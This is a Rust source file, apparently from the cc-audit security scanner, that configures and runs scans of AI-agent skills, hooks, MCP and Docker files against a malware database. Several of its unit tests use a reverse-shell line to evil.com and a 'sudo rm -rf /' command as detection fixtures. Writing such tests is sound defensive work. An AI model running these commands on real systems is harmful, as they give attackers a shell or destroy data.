Skip to main content

cc_audit/
run.rs

1use crate::{
2    Cli, CommandScanner, Confidence, Config, CustomRuleLoader, Deobfuscator, DependencyScanner,
3    DockerScanner, DynamicRule, Finding, HookScanner, IgnoreFilter, JsonReporter, MalwareDatabase,
4    McpScanner, OutputFormat, PluginScanner, Reporter, RiskScore, RuleSeverity, RulesDirScanner,
5    SarifReporter, ScanResult, ScanType, Scanner, Severity, SkillScanner, SubagentScanner, Summary,
6    TerminalReporter,
7};
8use chrono::Utc;
9use std::fs;
10use std::path::Path;
11use walkdir::WalkDir;
12
13/// Effective scan configuration after merging CLI and config file
14#[derive(Debug, Clone)]
15pub struct EffectiveConfig {
16    pub format: OutputFormat,
17    pub strict: bool,
18    pub warn_only: bool,
19    pub min_severity: Option<Severity>,
20    pub min_rule_severity: Option<RuleSeverity>,
21    pub scan_type: ScanType,
22    pub recursive: bool,
23    pub ci: bool,
24    pub verbose: bool,
25    pub min_confidence: Confidence,
26    pub skip_comments: bool,
27    pub fix_hint: bool,
28    pub no_malware_scan: bool,
29    pub deep_scan: bool,
30    pub watch: bool,
31    pub output: Option<String>,
32    pub fix: bool,
33    pub fix_dry_run: bool,
34    pub malware_db: Option<String>,
35    pub custom_rules: Option<String>,
36}
37
38impl EffectiveConfig {
39    /// Merge CLI options with config file settings
40    /// Boolean flags: CLI OR config (either can enable)
41    /// Enum options: config provides defaults, CLI always takes precedence
42    /// Path options: CLI takes precedence, fallback to config
43    pub fn from_cli_and_config(cli: &Cli, config: &Config) -> Self {
44        // Parse format from config if available
45        let format = parse_output_format(config.scan.format.as_deref()).unwrap_or(cli.format);
46
47        // Parse scan_type from config if available
48        let scan_type = parse_scan_type(config.scan.scan_type.as_deref()).unwrap_or(cli.scan_type);
49
50        // Parse min_confidence from config if available
51        let min_confidence =
52            parse_confidence(config.scan.min_confidence.as_deref()).unwrap_or(cli.min_confidence);
53
54        // Path options: CLI takes precedence, fallback to config
55        let malware_db = cli
56            .malware_db
57            .as_ref()
58            .map(|p| p.display().to_string())
59            .or_else(|| config.scan.malware_db.clone());
60
61        let custom_rules = cli
62            .custom_rules
63            .as_ref()
64            .map(|p| p.display().to_string())
65            .or_else(|| config.scan.custom_rules.clone());
66
67        let output = cli
68            .output
69            .as_ref()
70            .map(|p| p.display().to_string())
71            .or_else(|| config.scan.output.clone());
72
73        Self {
74            format,
75            // Boolean flags: OR operation (config can enable, CLI can enable)
76            strict: cli.strict || config.scan.strict,
77            warn_only: cli.warn_only,
78            min_severity: cli.min_severity,
79            min_rule_severity: cli.min_rule_severity,
80            scan_type,
81            recursive: cli.recursive || config.scan.recursive,
82            ci: cli.ci || config.scan.ci,
83            verbose: cli.verbose || config.scan.verbose,
84            min_confidence,
85            skip_comments: cli.skip_comments || config.scan.skip_comments,
86            fix_hint: cli.fix_hint || config.scan.fix_hint,
87            no_malware_scan: cli.no_malware_scan || config.scan.no_malware_scan,
88            deep_scan: cli.deep_scan || config.scan.deep_scan,
89            watch: cli.watch || config.scan.watch,
90            fix: cli.fix || config.scan.fix,
91            fix_dry_run: cli.fix_dry_run || config.scan.fix_dry_run,
92            output,
93            malware_db,
94            custom_rules,
95        }
96    }
97}
98
99fn parse_output_format(s: Option<&str>) -> Option<OutputFormat> {
100    match s?.to_lowercase().as_str() {
101        "terminal" => Some(OutputFormat::Terminal),
102        "json" => Some(OutputFormat::Json),
103        "sarif" => Some(OutputFormat::Sarif),
104        "html" => Some(OutputFormat::Html),
105        _ => None,
106    }
107}
108
109fn parse_scan_type(s: Option<&str>) -> Option<ScanType> {
110    match s?.to_lowercase().as_str() {
111        "skill" => Some(ScanType::Skill),
112        "hook" => Some(ScanType::Hook),
113        "mcp" => Some(ScanType::Mcp),
114        "command" => Some(ScanType::Command),
115        "rules" => Some(ScanType::Rules),
116        "docker" => Some(ScanType::Docker),
117        "dependency" => Some(ScanType::Dependency),
118        "subagent" => Some(ScanType::Subagent),
119        "plugin" => Some(ScanType::Plugin),
120        _ => None,
121    }
122}
123
124fn parse_confidence(s: Option<&str>) -> Option<Confidence> {
125    match s?.to_lowercase().as_str() {
126        "tentative" => Some(Confidence::Tentative),
127        "firm" => Some(Confidence::Firm),
128        "certain" => Some(Confidence::Certain),
129        _ => None,
130    }
131}
132
133/// Load custom rules from effective config (CLI or config file)
134fn load_custom_rules_from_effective(effective: &EffectiveConfig) -> Vec<DynamicRule> {
135    match &effective.custom_rules {
136        Some(path_str) => {
137            let path = Path::new(path_str);
138            match CustomRuleLoader::load_from_file(path) {
139                Ok(rules) => {
140                    if !rules.is_empty() {
141                        eprintln!("Loaded {} custom rule(s) from {}", rules.len(), path_str);
142                    }
143                    rules
144                }
145                Err(e) => {
146                    eprintln!("Warning: Failed to load custom rules: {}", e);
147                    Vec::new()
148                }
149            }
150        }
151        None => Vec::new(),
152    }
153}
154
155pub fn run_scan(cli: &Cli) -> Option<ScanResult> {
156    run_scan_internal(cli, None)
157}
158
159/// Run scan with pre-loaded config (for testing)
160pub fn run_scan_with_config(cli: &Cli, config: Config) -> Option<ScanResult> {
161    run_scan_internal(cli, Some(config))
162}
163
164fn run_scan_internal(cli: &Cli, preloaded_config: Option<Config>) -> Option<ScanResult> {
165    let mut all_findings = Vec::new();
166    let mut targets = Vec::new();
167
168    // Determine project root for config loading
169    let project_root = cli.paths.first().and_then(|p| {
170        if p.is_dir() {
171            Some(p.as_path())
172        } else {
173            p.parent()
174        }
175    });
176
177    // Load config from project root or global config (or use preloaded)
178    let config = preloaded_config.unwrap_or_else(|| Config::load(project_root));
179
180    // Load profile if specified
181    let mut config = config;
182    if let Some(ref profile_name) = cli.profile {
183        match crate::Profile::load(profile_name) {
184            Ok(profile) => {
185                profile.apply_to_config(&mut config.scan);
186                eprintln!("Using profile: {}", profile_name);
187            }
188            Err(e) => {
189                eprintln!("Warning: Failed to load profile '{}': {}", profile_name, e);
190            }
191        }
192    }
193
194    // Merge CLI options with config file settings
195    let effective = EffectiveConfig::from_cli_and_config(cli, &config);
196
197    // Load custom rules: merge effective config rules with config file inline rules
198    let mut custom_rules = load_custom_rules_from_effective(&effective);
199
200    // Add rules from config file (inline rules section)
201    if !config.rules.is_empty() {
202        match CustomRuleLoader::convert_yaml_rules(config.rules.clone()) {
203            Ok(config_rules) => {
204                let config_rules_count = config_rules.len();
205                custom_rules.extend(config_rules);
206                if config_rules_count > 0 {
207                    eprintln!(
208                        "Loaded {} custom rule(s) from config file",
209                        config_rules_count
210                    );
211                }
212            }
213            Err(e) => {
214                eprintln!("Warning: Failed to load rules from config file: {}", e);
215            }
216        }
217    }
218
219    // Load malware database if enabled (using effective config)
220    let malware_db = if !effective.no_malware_scan {
221        let mut db = match &effective.malware_db {
222            Some(path_str) => {
223                let path = Path::new(path_str);
224                match MalwareDatabase::from_file(path) {
225                    Ok(db) => db,
226                    Err(e) => {
227                        eprintln!("Warning: Failed to load custom malware database: {}", e);
228                        eprintln!("Falling back to built-in database.");
229                        MalwareDatabase::default()
230                    }
231                }
232            }
233            None => MalwareDatabase::default(),
234        };
235
236        // Add malware signatures from config file (inline signatures section)
237        if !config.malware_signatures.is_empty() {
238            let sig_count = config.malware_signatures.len();
239            if let Err(e) = db.add_signatures(config.malware_signatures.clone()) {
240                eprintln!(
241                    "Warning: Failed to load malware signatures from config file: {}",
242                    e
243                );
244            } else {
245                eprintln!("Loaded {} malware signature(s) from config file", sig_count);
246            }
247        }
248
249        Some(db)
250    } else {
251        None
252    };
253
254    // Create ignore filter from config, then apply CLI overrides
255    let create_ignore_filter = |path: &Path| {
256        let mut filter = IgnoreFilter::from_config(path, &config.ignore);
257        // CLI flags override config settings if explicitly set
258        if cli.include_tests {
259            filter = filter.with_include_tests(true);
260        }
261        if cli.include_node_modules {
262            filter = filter.with_include_node_modules(true);
263        }
264        if cli.include_vendor {
265            filter = filter.with_include_vendor(true);
266        }
267        filter
268    };
269
270    for path in &cli.paths {
271        // Use effective scan_type from merged config
272        let result = match effective.scan_type {
273            ScanType::Skill => {
274                let ignore_filter = create_ignore_filter(path);
275                let scanner = SkillScanner::new()
276                    .with_ignore_filter(ignore_filter)
277                    .with_skip_comments(effective.skip_comments)
278                    .with_dynamic_rules(custom_rules.clone());
279                scanner.scan_path(path)
280            }
281            ScanType::Hook => {
282                let scanner = HookScanner::new()
283                    .with_skip_comments(effective.skip_comments)
284                    .with_dynamic_rules(custom_rules.clone());
285                scanner.scan_path(path)
286            }
287            ScanType::Mcp => {
288                let scanner = McpScanner::new()
289                    .with_skip_comments(effective.skip_comments)
290                    .with_dynamic_rules(custom_rules.clone());
291                scanner.scan_path(path)
292            }
293            ScanType::Command => {
294                let scanner = CommandScanner::new()
295                    .with_skip_comments(effective.skip_comments)
296                    .with_dynamic_rules(custom_rules.clone());
297                scanner.scan_path(path)
298            }
299            ScanType::Rules => {
300                let scanner = RulesDirScanner::new()
301                    .with_skip_comments(effective.skip_comments)
302                    .with_dynamic_rules(custom_rules.clone());
303                scanner.scan_path(path)
304            }
305            ScanType::Docker => {
306                let ignore_filter = create_ignore_filter(path);
307                let scanner = DockerScanner::new()
308                    .with_ignore_filter(ignore_filter)
309                    .with_skip_comments(effective.skip_comments)
310                    .with_dynamic_rules(custom_rules.clone());
311                scanner.scan_path(path)
312            }
313            ScanType::Dependency => {
314                let scanner = DependencyScanner::new()
315                    .with_skip_comments(effective.skip_comments)
316                    .with_dynamic_rules(custom_rules.clone());
317                scanner.scan_path(path)
318            }
319            ScanType::Subagent => {
320                let scanner = SubagentScanner::new()
321                    .with_skip_comments(effective.skip_comments)
322                    .with_dynamic_rules(custom_rules.clone());
323                scanner.scan_path(path)
324            }
325            ScanType::Plugin => {
326                let scanner = PluginScanner::new()
327                    .with_skip_comments(effective.skip_comments)
328                    .with_dynamic_rules(custom_rules.clone());
329                scanner.scan_path(path)
330            }
331        };
332
333        match result {
334            Ok(findings) => {
335                all_findings.extend(findings);
336                targets.push(path.display().to_string());
337            }
338            Err(e) => {
339                eprintln!("Error scanning {}: {}", path.display(), e);
340                return None;
341            }
342        }
343
344        // Run malware database scan on files
345        if let Some(ref db) = malware_db {
346            let malware_findings = scan_path_with_malware_db(path, db);
347            all_findings.extend(malware_findings);
348        }
349
350        // Run deep scan with deobfuscation if enabled
351        if effective.deep_scan {
352            let deep_findings = run_deep_scan(path);
353            all_findings.extend(deep_findings);
354        }
355    }
356
357    // Filter findings by minimum confidence level (using effective config) and disabled rules
358    // Also apply RuleSeverity based on config
359    let mut filtered_findings: Vec<_> = all_findings
360        .into_iter()
361        .filter(|f| f.confidence >= effective.min_confidence)
362        // Filter out disabled rules (from disabled_rules AND severity.ignore)
363        .filter(|f| !config.is_rule_disabled(&f.id))
364        // Filter by min_severity if specified
365        .filter(|f| {
366            if let Some(min_sev) = effective.min_severity {
367                f.severity >= min_sev
368            } else {
369                true
370            }
371        })
372        .collect();
373
374    // Apply RuleSeverity to each finding
375    for finding in &mut filtered_findings {
376        let rule_severity = if effective.warn_only {
377            // --warn-only: treat all findings as warnings
378            RuleSeverity::Warn
379        } else if let Some(severity) = config.get_rule_severity(&finding.id) {
380            severity
381        } else {
382            RuleSeverity::Error
383        };
384        finding.rule_severity = Some(rule_severity);
385    }
386
387    let summary = Summary::from_findings_with_rule_severity(&filtered_findings);
388    let risk_score = RiskScore::from_findings(&filtered_findings);
389    Some(ScanResult {
390        version: env!("CARGO_PKG_VERSION").to_string(),
391        scanned_at: Utc::now().to_rfc3339(),
392        target: targets.join(", "),
393        summary,
394        findings: filtered_findings,
395        risk_score: Some(risk_score),
396    })
397}
398
399/// Run deep scan with deobfuscation on a path
400fn run_deep_scan(path: &Path) -> Vec<Finding> {
401    let mut findings = Vec::new();
402    let deobfuscator = Deobfuscator::new();
403
404    if path.is_file() {
405        if is_text_file(path)
406            && let Ok(content) = fs::read_to_string(path)
407        {
408            findings.extend(deobfuscator.deep_scan(&content, &path.display().to_string()));
409        }
410    } else if path.is_dir() {
411        for entry in WalkDir::new(path)
412            .into_iter()
413            .filter_map(|e| e.ok())
414            .filter(|e| e.file_type().is_file())
415        {
416            let file_path = entry.path();
417            if is_text_file(file_path)
418                && let Ok(content) = fs::read_to_string(file_path)
419            {
420                findings.extend(deobfuscator.deep_scan(&content, &file_path.display().to_string()));
421            }
422        }
423    }
424
425    findings
426}
427
428pub fn scan_path_with_malware_db(path: &Path, db: &MalwareDatabase) -> Vec<Finding> {
429    let mut findings = Vec::new();
430
431    if path.is_file() {
432        // Skip config files
433        if !is_config_file(path)
434            && let Ok(content) = fs::read_to_string(path)
435        {
436            findings.extend(db.scan_content(&content, &path.display().to_string()));
437        }
438    } else if path.is_dir() {
439        for entry in WalkDir::new(path)
440            .into_iter()
441            .filter_map(|e| e.ok())
442            .filter(|e| e.file_type().is_file())
443        {
444            let file_path = entry.path();
445            // Skip config files and binary files
446            if !is_config_file(file_path)
447                && is_text_file(file_path)
448                && let Ok(content) = fs::read_to_string(file_path)
449            {
450                findings.extend(db.scan_content(&content, &file_path.display().to_string()));
451            }
452        }
453    }
454
455    findings
456}
457
458/// Check if a file is a cc-audit configuration file
459fn is_config_file(path: &Path) -> bool {
460    const CONFIG_FILES: &[&str] = &[
461        ".cc-audit.yaml",
462        ".cc-audit.yml",
463        ".cc-audit.json",
464        ".cc-audit.toml",
465        ".cc-auditignore",
466    ];
467
468    path.file_name()
469        .and_then(|name| name.to_str())
470        .is_some_and(|name| CONFIG_FILES.contains(&name))
471}
472
473/// Check if a file is a text file using the default configuration
474pub fn is_text_file(path: &Path) -> bool {
475    static DEFAULT_CONFIG: std::sync::LazyLock<crate::config::TextFilesConfig> =
476        std::sync::LazyLock::new(crate::config::TextFilesConfig::default);
477
478    is_text_file_with_config(path, &DEFAULT_CONFIG)
479}
480
481/// Check if a file is a text file using the provided configuration
482pub fn is_text_file_with_config(path: &Path, config: &crate::config::TextFilesConfig) -> bool {
483    // First try the config-based check
484    if config.is_text_file(path) {
485        return true;
486    }
487
488    // Additional checks for common patterns not easily captured in config
489    if let Some(name) = path.file_name() {
490        let name_str = name.to_string_lossy();
491        let name_lower = name_str.to_lowercase();
492
493        // Dotfiles are often text configuration files
494        if name_str.starts_with('.') {
495            return true;
496        }
497
498        // Files ending with "rc" are often configuration files
499        if name_lower.ends_with("rc") {
500            return true;
501        }
502    }
503
504    false
505}
506
507pub fn format_result(cli: &Cli, result: &ScanResult) -> String {
508    // Determine project root for config loading
509    let project_root = cli.paths.first().and_then(|p| {
510        if p.is_dir() {
511            Some(p.as_path())
512        } else {
513            p.parent()
514        }
515    });
516
517    // Load config and merge with CLI
518    let config = Config::load(project_root);
519    let effective = EffectiveConfig::from_cli_and_config(cli, &config);
520
521    format_result_with_config(&effective, result)
522}
523
524/// Format result using effective config (avoids reloading config)
525pub fn format_result_with_config(effective: &EffectiveConfig, result: &ScanResult) -> String {
526    match effective.format {
527        OutputFormat::Terminal => {
528            let reporter = TerminalReporter::new(effective.strict, effective.verbose)
529                .with_fix_hints(effective.fix_hint);
530            reporter.report(result)
531        }
532        OutputFormat::Json => {
533            let reporter = JsonReporter::new();
534            reporter.report(result)
535        }
536        OutputFormat::Sarif => {
537            let reporter = SarifReporter::new();
538            reporter.report(result)
539        }
540        OutputFormat::Html => {
541            let reporter = crate::reporter::html::HtmlReporter::new();
542            reporter.report(result)
543        }
544    }
545}
546
547/// Result of running in watch mode
548#[derive(Debug)]
549pub enum WatchModeResult {
550    /// Watcher was successfully set up, initial scan was done
551    Success,
552    /// Failed to create watcher
553    WatcherCreationFailed(String),
554    /// Failed to watch a path
555    WatchPathFailed(String, String),
556}
557
558/// Set up watch mode and return the result
559pub fn setup_watch_mode(cli: &Cli) -> Result<crate::FileWatcher, WatchModeResult> {
560    let mut watcher = match crate::FileWatcher::new() {
561        Ok(w) => w,
562        Err(e) => {
563            return Err(WatchModeResult::WatcherCreationFailed(e.to_string()));
564        }
565    };
566
567    // Watch all paths
568    for path in &cli.paths {
569        if let Err(e) = watcher.watch(path) {
570            return Err(WatchModeResult::WatchPathFailed(
571                path.display().to_string(),
572                e.to_string(),
573            ));
574        }
575    }
576
577    Ok(watcher)
578}
579
580/// Run one iteration of the watch loop
581pub fn watch_iteration(cli: &Cli) -> Option<String> {
582    run_scan(cli).map(|result| format_result(cli, &result))
583}
584
585#[cfg(test)]
586mod tests {
587    use super::*;
588    use std::path::PathBuf;
589    use tempfile::TempDir;
590
591    fn create_test_cli(paths: Vec<PathBuf>) -> Cli {
592        Cli {
593            paths,
594            scan_type: ScanType::Skill,
595            format: OutputFormat::Terminal,
596            strict: false,
597            warn_only: false,
598            min_severity: None,
599            min_rule_severity: None,
600            verbose: false,
601            recursive: true,
602            ci: false,
603            include_tests: false,
604            include_node_modules: false,
605            include_vendor: false,
606            min_confidence: crate::Confidence::Tentative,
607            watch: false,
608            init_hook: false,
609            remove_hook: false,
610            skip_comments: false,
611            fix_hint: false,
612            no_malware_scan: false,
613            malware_db: None,
614            custom_rules: None,
615            baseline: false,
616            check_drift: false,
617            init: false,
618            output: None,
619            save_baseline: None,
620            baseline_file: None,
621            compare: None,
622            fix: false,
623            fix_dry_run: false,
624            mcp_server: false,
625            deep_scan: false,
626            profile: None,
627            save_profile: None,
628        }
629    }
630
631    #[test]
632    fn test_is_text_file_by_extension() {
633        assert!(is_text_file(Path::new("test.md")));
634        assert!(is_text_file(Path::new("test.txt")));
635        assert!(is_text_file(Path::new("test.sh")));
636        assert!(is_text_file(Path::new("test.py")));
637        assert!(is_text_file(Path::new("test.js")));
638        assert!(is_text_file(Path::new("test.rs")));
639        assert!(is_text_file(Path::new("test.json")));
640        assert!(is_text_file(Path::new("test.yaml")));
641        assert!(is_text_file(Path::new("test.yml")));
642        assert!(is_text_file(Path::new("test.toml")));
643        assert!(is_text_file(Path::new("test.xml")));
644        assert!(is_text_file(Path::new("test.html")));
645        assert!(is_text_file(Path::new("test.css")));
646        assert!(is_text_file(Path::new("test.go")));
647        assert!(is_text_file(Path::new("test.rb")));
648        assert!(is_text_file(Path::new("test.pl")));
649        assert!(is_text_file(Path::new("test.php")));
650        assert!(is_text_file(Path::new("test.java")));
651        assert!(is_text_file(Path::new("test.c")));
652        assert!(is_text_file(Path::new("test.cpp")));
653        assert!(is_text_file(Path::new("test.h")));
654        assert!(is_text_file(Path::new("test.hpp")));
655        assert!(is_text_file(Path::new("test.cs")));
656        assert!(is_text_file(Path::new("test.env")));
657        assert!(is_text_file(Path::new("test.conf")));
658        assert!(is_text_file(Path::new("test.cfg")));
659        assert!(is_text_file(Path::new("test.ini")));
660        assert!(is_text_file(Path::new("test.bash")));
661        assert!(is_text_file(Path::new("test.zsh")));
662        assert!(is_text_file(Path::new("test.ts")));
663    }
664
665    #[test]
666    fn test_is_text_file_case_insensitive() {
667        assert!(is_text_file(Path::new("test.MD")));
668        assert!(is_text_file(Path::new("test.TXT")));
669        assert!(is_text_file(Path::new("test.JSON")));
670        assert!(is_text_file(Path::new("test.YAML")));
671    }
672
673    #[test]
674    fn test_is_text_file_by_filename() {
675        assert!(is_text_file(Path::new("Dockerfile")));
676        assert!(is_text_file(Path::new("dockerfile")));
677        assert!(is_text_file(Path::new("Makefile")));
678        assert!(is_text_file(Path::new("makefile")));
679        assert!(is_text_file(Path::new(".gitignore")));
680        assert!(is_text_file(Path::new(".bashrc")));
681        assert!(is_text_file(Path::new(".zshrc")));
682        assert!(is_text_file(Path::new(".vimrc")));
683    }
684
685    #[test]
686    fn test_is_text_file_returns_false_for_binary() {
687        assert!(!is_text_file(Path::new("image.png")));
688        assert!(!is_text_file(Path::new("binary.exe")));
689        assert!(!is_text_file(Path::new("archive.zip")));
690        assert!(!is_text_file(Path::new("document.pdf")));
691        assert!(!is_text_file(Path::new("audio.mp3")));
692        assert!(!is_text_file(Path::new("video.mp4")));
693    }
694
695    #[test]
696    fn test_is_text_file_common_text_files() {
697        // Common text files like README and LICENSE are recognized
698        // The config-based is_text_file now correctly identifies these
699        assert!(is_text_file(Path::new("README")));
700        assert!(is_text_file(Path::new("LICENSE")));
701    }
702
703    #[test]
704    fn test_is_text_file_unknown_no_extension() {
705        // Files without extension and not matching known text file names
706        assert!(!is_text_file(Path::new("unknownfile123")));
707    }
708
709    #[test]
710    fn test_scan_path_with_malware_db_file() {
711        let temp_dir = TempDir::new().unwrap();
712        let test_file = temp_dir.path().join("test.sh");
713        fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
714
715        let db = MalwareDatabase::default();
716        let findings = scan_path_with_malware_db(&test_file, &db);
717
718        assert!(!findings.is_empty());
719    }
720
721    #[test]
722    fn test_scan_path_with_malware_db_directory() {
723        let temp_dir = TempDir::new().unwrap();
724        let test_file = temp_dir.path().join("evil.sh");
725        fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
726
727        let clean_file = temp_dir.path().join("clean.sh");
728        fs::write(&clean_file, "echo 'Hello World'").unwrap();
729
730        let db = MalwareDatabase::default();
731        let findings = scan_path_with_malware_db(temp_dir.path(), &db);
732
733        assert!(!findings.is_empty());
734    }
735
736    #[test]
737    fn test_scan_path_with_malware_db_skips_binary() {
738        let temp_dir = TempDir::new().unwrap();
739        let binary_file = temp_dir.path().join("test.exe");
740        fs::write(&binary_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
741
742        let db = MalwareDatabase::default();
743        let findings = scan_path_with_malware_db(temp_dir.path(), &db);
744
745        // Binary files should be skipped
746        assert!(findings.is_empty());
747    }
748
749    #[test]
750    fn test_scan_path_with_malware_db_empty_path() {
751        let temp_dir = TempDir::new().unwrap();
752        let db = MalwareDatabase::default();
753        let findings = scan_path_with_malware_db(temp_dir.path(), &db);
754
755        assert!(findings.is_empty());
756    }
757
758    #[test]
759    fn test_run_scan_success() {
760        let temp_dir = TempDir::new().unwrap();
761        let skill_md = temp_dir.path().join("SKILL.md");
762        fs::write(
763            &skill_md,
764            r#"---
765name: test
766allowed-tools: Read
767---
768# Test Skill
769"#,
770        )
771        .unwrap();
772
773        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
774        let result = run_scan(&cli);
775
776        assert!(result.is_some());
777        let result = result.unwrap();
778        assert!(result.summary.passed);
779    }
780
781    #[test]
782    fn test_run_scan_with_findings() {
783        let temp_dir = TempDir::new().unwrap();
784        let skill_md = temp_dir.path().join("SKILL.md");
785        fs::write(
786            &skill_md,
787            r#"---
788name: evil
789allowed-tools: "*"
790---
791# Evil Skill
792
793sudo rm -rf /
794"#,
795        )
796        .unwrap();
797
798        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
799        let result = run_scan(&cli);
800
801        assert!(result.is_some());
802        let result = result.unwrap();
803        assert!(!result.summary.passed);
804    }
805
806    #[test]
807    fn test_run_scan_nonexistent_path() {
808        let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
809        let result = run_scan(&cli);
810
811        assert!(result.is_none());
812    }
813
814    #[test]
815    fn test_run_scan_hook_type() {
816        let temp_dir = TempDir::new().unwrap();
817        let settings_dir = temp_dir.path().join(".claude");
818        fs::create_dir_all(&settings_dir).unwrap();
819        let settings_file = settings_dir.join("settings.json");
820        fs::write(
821            &settings_file,
822            r#"{"hooks": {"PreToolUse": [{"matcher": "*", "hooks": [{"type": "command", "command": "echo test"}]}]}}"#,
823        )
824        .unwrap();
825
826        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
827        cli.scan_type = ScanType::Hook;
828        let result = run_scan(&cli);
829
830        assert!(result.is_some());
831    }
832
833    #[test]
834    fn test_run_scan_mcp_type() {
835        let temp_dir = TempDir::new().unwrap();
836        let mcp_file = temp_dir.path().join(".mcp.json");
837        fs::write(
838            &mcp_file,
839            r#"{"mcpServers": {"test": {"command": "echo", "args": ["hello"]}}}"#,
840        )
841        .unwrap();
842
843        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
844        cli.scan_type = ScanType::Mcp;
845        let result = run_scan(&cli);
846
847        assert!(result.is_some());
848    }
849
850    #[test]
851    fn test_run_scan_command_type() {
852        let temp_dir = TempDir::new().unwrap();
853        let commands_dir = temp_dir.path().join(".claude").join("commands");
854        fs::create_dir_all(&commands_dir).unwrap();
855        let cmd_file = commands_dir.join("test.md");
856        fs::write(&cmd_file, "# Test command\necho hello").unwrap();
857
858        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
859        cli.scan_type = ScanType::Command;
860        let result = run_scan(&cli);
861
862        assert!(result.is_some());
863    }
864
865    #[test]
866    fn test_run_scan_rules_type() {
867        let temp_dir = TempDir::new().unwrap();
868        let rules_dir = temp_dir.path().join(".cursor").join("rules");
869        fs::create_dir_all(&rules_dir).unwrap();
870        let rule_file = rules_dir.join("test.md");
871        fs::write(&rule_file, "# Test rule\nBe helpful").unwrap();
872
873        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
874        cli.scan_type = ScanType::Rules;
875        let result = run_scan(&cli);
876
877        assert!(result.is_some());
878    }
879
880    #[test]
881    fn test_run_scan_docker_type() {
882        let temp_dir = TempDir::new().unwrap();
883        let dockerfile = temp_dir.path().join("Dockerfile");
884        fs::write(&dockerfile, "FROM alpine:latest\nRUN echo hello").unwrap();
885
886        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
887        cli.scan_type = ScanType::Docker;
888        let result = run_scan(&cli);
889
890        assert!(result.is_some());
891    }
892
893    #[test]
894    fn test_run_scan_with_malware_db_disabled() {
895        let temp_dir = TempDir::new().unwrap();
896        let skill_md = temp_dir.path().join("SKILL.md");
897        fs::write(&skill_md, "# Test\n").unwrap();
898
899        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
900        cli.no_malware_scan = true;
901        let result = run_scan(&cli);
902
903        assert!(result.is_some());
904    }
905
906    #[test]
907    fn test_run_scan_with_custom_malware_db() {
908        let temp_dir = TempDir::new().unwrap();
909        let skill_md = temp_dir.path().join("SKILL.md");
910        fs::write(&skill_md, "# Test\n").unwrap();
911
912        // Create a custom malware DB file
913        let malware_db_file = temp_dir.path().join("custom-malware.json");
914        fs::write(
915            &malware_db_file,
916            r#"{
917            "version": "1.0.0",
918            "updated_at": "2026-01-25",
919            "signatures": []
920        }"#,
921        )
922        .unwrap();
923
924        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
925        cli.malware_db = Some(malware_db_file);
926        let result = run_scan(&cli);
927
928        assert!(result.is_some());
929    }
930
931    #[test]
932    fn test_run_scan_with_invalid_malware_db() {
933        let temp_dir = TempDir::new().unwrap();
934        let skill_md = temp_dir.path().join("SKILL.md");
935        fs::write(&skill_md, "# Test\n").unwrap();
936
937        // Create an invalid malware DB file
938        let malware_db_file = temp_dir.path().join("invalid-malware.json");
939        fs::write(&malware_db_file, "not valid json").unwrap();
940
941        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
942        cli.malware_db = Some(malware_db_file);
943        let result = run_scan(&cli);
944
945        // Should fallback to builtin database
946        assert!(result.is_some());
947    }
948
949    #[test]
950    fn test_run_scan_multiple_paths() {
951        let temp_dir1 = TempDir::new().unwrap();
952        let skill_md1 = temp_dir1.path().join("SKILL.md");
953        fs::write(&skill_md1, "# Test1\n").unwrap();
954
955        let temp_dir2 = TempDir::new().unwrap();
956        let skill_md2 = temp_dir2.path().join("SKILL.md");
957        fs::write(&skill_md2, "# Test2\n").unwrap();
958
959        let cli = create_test_cli(vec![
960            temp_dir1.path().to_path_buf(),
961            temp_dir2.path().to_path_buf(),
962        ]);
963        let result = run_scan(&cli);
964
965        assert!(result.is_some());
966        let result = result.unwrap();
967        assert!(result.target.contains(", "));
968    }
969
970    #[test]
971    fn test_run_scan_with_confidence_filter() {
972        let temp_dir = TempDir::new().unwrap();
973        let skill_md = temp_dir.path().join("SKILL.md");
974        fs::write(&skill_md, "# Test\n").unwrap();
975
976        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
977        cli.min_confidence = crate::Confidence::Certain;
978        let result = run_scan(&cli);
979
980        assert!(result.is_some());
981    }
982
983    #[test]
984    fn test_format_result_terminal() {
985        let temp_dir = TempDir::new().unwrap();
986        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
987
988        let result = ScanResult {
989            version: "0.3.0".to_string(),
990            scanned_at: "2026-01-25T12:00:00Z".to_string(),
991            target: temp_dir.path().display().to_string(),
992            summary: Summary::from_findings(&[]),
993            findings: vec![],
994            risk_score: None,
995        };
996
997        let output = format_result(&cli, &result);
998        assert!(output.contains("PASS"));
999    }
1000
1001    #[test]
1002    fn test_format_result_json() {
1003        let temp_dir = TempDir::new().unwrap();
1004        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1005        cli.format = OutputFormat::Json;
1006
1007        let result = ScanResult {
1008            version: "0.3.0".to_string(),
1009            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1010            target: temp_dir.path().display().to_string(),
1011            summary: Summary::from_findings(&[]),
1012            findings: vec![],
1013            risk_score: None,
1014        };
1015
1016        let output = format_result(&cli, &result);
1017        assert!(output.contains("\"version\""));
1018        assert!(output.contains("\"passed\": true") || output.contains("\"passed\":true"));
1019    }
1020
1021    #[test]
1022    fn test_format_result_sarif() {
1023        let temp_dir = TempDir::new().unwrap();
1024        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1025        cli.format = OutputFormat::Sarif;
1026
1027        let result = ScanResult {
1028            version: "0.3.0".to_string(),
1029            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1030            target: temp_dir.path().display().to_string(),
1031            summary: Summary::from_findings(&[]),
1032            findings: vec![],
1033            risk_score: None,
1034        };
1035
1036        let output = format_result(&cli, &result);
